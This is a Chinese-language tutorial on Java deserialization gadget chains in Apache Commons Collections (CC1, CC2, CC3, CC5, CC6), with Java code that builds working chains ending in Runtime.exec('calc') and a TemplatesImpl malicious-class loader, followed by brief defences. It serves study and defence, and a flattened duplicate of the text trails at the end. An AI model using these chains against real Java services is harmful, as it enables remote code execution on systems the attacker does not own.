Java反序列化CC链的汇总
字数 1709 2025-08-10 16:34:28

Java反序列化CC链漏洞分析与利用

概述

Apache Commons Collections (CC)反序列化漏洞是Java安全领域中最著名的一类漏洞,它允许攻击者通过构造特定的序列化数据在目标系统上执行任意代码。本文将详细分析CC链的各种利用方式,包括CC1、CC2、CC3、CC4、CC5和CC6链。

基础知识

核心概念

  1. 反序列化漏洞:当程序反序列化不受信任的数据时,可能触发恶意代码执行
  2. Transformer接口:Apache Commons Collections中的核心接口,用于对象转换
  3. 动态代理:Java反射机制的一部分,允许在运行时创建代理对象

关键类

  • InvokerTransformer:通过反射调用任意方法
  • ChainedTransformer:将多个Transformer串联执行
  • LazyMap/DefaultedMap:延迟加载的Map实现
  • TiedMapEntry:将键值对绑定在一起的类
  • AnnotationInvocationHandler:JDK内部类,用于处理注解

CC6链分析

基本原理

CC6链利用DefaultedMapLazyMapget方法触发InvokerTransformer的反射调用,最终执行任意命令。

利用步骤

  1. 构造InvokerTransformer
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", 
    new Class[]{String.class}, new Object[]{"calc"});
  1. 设置DefaultedMap
DefaultedMap defaultedMap = new DefaultedMap(null);
// 通过反射设置value字段
Field value = defaultedMap.getClass().getDeclaredField("value");
value.setAccessible(true);
value.set(defaultedMap, invokerTransformer);
  1. 利用TiedMapEntry触发
TiedMapEntry tiedMapEntry = new TiedMapEntry(defaultedMap, Runtime.getRuntime());
tiedMapEntry.hashCode(); // 触发漏洞
  1. 通过HashMap反序列化触发
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry, "test");
// 序列化和反序列化触发

解决Runtime不可序列化问题

由于Runtime类不可序列化,需要使用反射链:

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getDeclaredMethod", 
        new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

CC1链分析

两个变种

  1. 使用LazyMap和AnnotationInvocationHandler
  2. 使用TransformedMap

LazyMap变种

  1. 构造ChainedTransformer(同上)
  2. 创建LazyMap
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
  1. 创建动态代理
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

Map proxyMap = (Map) Proxy.newProxyInstance(
    lazyMap.getClass().getClassLoader(),
    lazyMap.getClass().getInterfaces(),
    handler);
  1. 触发反序列化
Object instance = constructor.newInstance(Override.class, proxyMap);
// 序列化和反序列化

TransformedMap变种

  1. 构造TransformedMap
HashMap hashMap = new HashMap();
hashMap.put("value", "123");
Map transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
  1. 通过AnnotationInvocationHandler触发
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, transformedMap);
// 序列化和反序列化

CC2链分析

利用特点

使用PriorityQueueTransformingComparator触发漏洞,要求CC版本4.0+。

利用步骤

  1. 构造ChainedTransformer(同上)
  2. 创建TransformingComparator
TransformingComparator transformingComparator = 
    new TransformingComparator(chainedTransformer);
  1. 设置PriorityQueue
PriorityQueue priorityQueue = new PriorityQueue(2, null);
priorityQueue.add(1);
priorityQueue.add(2);

Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue, transformingComparator);
  1. 反序列化触发
// 序列化和反序列化

CC3链分析

利用特点

使用TemplatesImpl加载字节码实现任意代码执行,而非直接执行命令。

关键类

  • TemplatesImpl:XSLT处理器,可加载字节码
  • AbstractTranslet:需要恶意类继承的基类

利用步骤

  1. 准备恶意类
public class EvilClass extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {}
    }
    // 必须实现的方法
    public void transform(...) {}
    public void transform(...) {}
}
  1. 加载恶意类
String EvalPath = "EvilClass.class";
File file = new File(EvalPath);
FileInputStream fis = new FileInputStream(file);
byte[] b = new byte[(int)file.length()];
fis.read(b);
byte[][] codes = new byte[][]{b};
  1. 设置TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, codes);

Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());

Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "test");
  1. 触发漏洞
// 方法1:直接调用
templates.newTransformer();

// 方法2:结合CC6链
InvokerTransformer invoker = new InvokerTransformer("newTransformer", null, null);
invoker.transform(templates);

CC5链分析

利用特点

通过BadAttributeValueExpExceptiontoString方法触发TiedMapEntrygetValue方法。

利用步骤

  1. 构造ChainedTransformer(同上)
  2. 设置DefaultedMap
DefaultedMap defaultedMap = new DefaultedMap(null);
Field value = defaultedMap.getClass().getDeclaredField("value");
value.setAccessible(true);
value.set(defaultedMap, chainedTransformer);
  1. 创建TiedMapEntry
TiedMapEntry tiedMapEntry = new TiedMapEntry(defaultedMap, "any");
  1. 设置BadAttributeValueExpException
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = exp.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(exp, tiedMapEntry);
  1. 反序列化触发
// 序列化和反序列化

防御措施

  1. 升级Commons Collections:使用3.2.2或4.1及以上版本
  2. 反序列化过滤:使用ObjectInputFilter限制反序列化的类
  3. 使用安全框架:如Spring Security提供防护
  4. 代码审查:检查反序列化操作的安全性

总结

CC链漏洞展示了Java反序列化的危险性,攻击者可以通过多种途径利用这些漏洞。理解这些漏洞的原理和利用方式对于开发安全的Java应用至关重要。开发者应当始终保持依赖库的最新版本,并实施适当的安全措施来防范此类攻击。

参考链接

Java反序列化CC链漏洞分析与利用 概述 Apache Commons Collections (CC)反序列化漏洞是Java安全领域中最著名的一类漏洞,它允许攻击者通过构造特定的序列化数据在目标系统上执行任意代码。本文将详细分析CC链的各种利用方式,包括CC1、CC2、CC3、CC4、CC5和CC6链。 基础知识 核心概念 反序列化漏洞 :当程序反序列化不受信任的数据时,可能触发恶意代码执行 Transformer接口 :Apache Commons Collections中的核心接口,用于对象转换 动态代理 :Java反射机制的一部分,允许在运行时创建代理对象 关键类 InvokerTransformer :通过反射调用任意方法 ChainedTransformer :将多个Transformer串联执行 LazyMap/DefaultedMap :延迟加载的Map实现 TiedMapEntry :将键值对绑定在一起的类 AnnotationInvocationHandler :JDK内部类,用于处理注解 CC6链分析 基本原理 CC6链利用 DefaultedMap 或 LazyMap 的 get 方法触发 InvokerTransformer 的反射调用,最终执行任意命令。 利用步骤 构造InvokerTransformer : 设置DefaultedMap : 利用TiedMapEntry触发 : 通过HashMap反序列化触发 : 解决Runtime不可序列化问题 由于Runtime类不可序列化,需要使用反射链: CC1链分析 两个变种 使用LazyMap和AnnotationInvocationHandler 使用TransformedMap LazyMap变种 构造ChainedTransformer (同上) 创建LazyMap : 创建动态代理 : 触发反序列化 : TransformedMap变种 构造TransformedMap : 通过AnnotationInvocationHandler触发 : CC2链分析 利用特点 使用 PriorityQueue 和 TransformingComparator 触发漏洞,要求CC版本4.0+。 利用步骤 构造ChainedTransformer (同上) 创建TransformingComparator : 设置PriorityQueue : 反序列化触发 : CC3链分析 利用特点 使用 TemplatesImpl 加载字节码实现任意代码执行,而非直接执行命令。 关键类 TemplatesImpl :XSLT处理器,可加载字节码 AbstractTranslet :需要恶意类继承的基类 利用步骤 准备恶意类 : 加载恶意类 : 设置TemplatesImpl : 触发漏洞 : CC5链分析 利用特点 通过 BadAttributeValueExpException 的 toString 方法触发 TiedMapEntry 的 getValue 方法。 利用步骤 构造ChainedTransformer (同上) 设置DefaultedMap : 创建TiedMapEntry : 设置BadAttributeValueExpException : 反序列化触发 : 防御措施 升级Commons Collections :使用3.2.2或4.1及以上版本 反序列化过滤 :使用 ObjectInputFilter 限制反序列化的类 使用安全框架 :如Spring Security提供防护 代码审查 :检查反序列化操作的安全性 总结 CC链漏洞展示了Java反序列化的危险性,攻击者可以通过多种途径利用这些漏洞。理解这些漏洞的原理和利用方式对于开发安全的Java应用至关重要。开发者应当始终保持依赖库的最新版本,并实施适当的安全措施来防范此类攻击。 参考链接 Apache Commons Collections Security Java Deserialization Cheat Sheet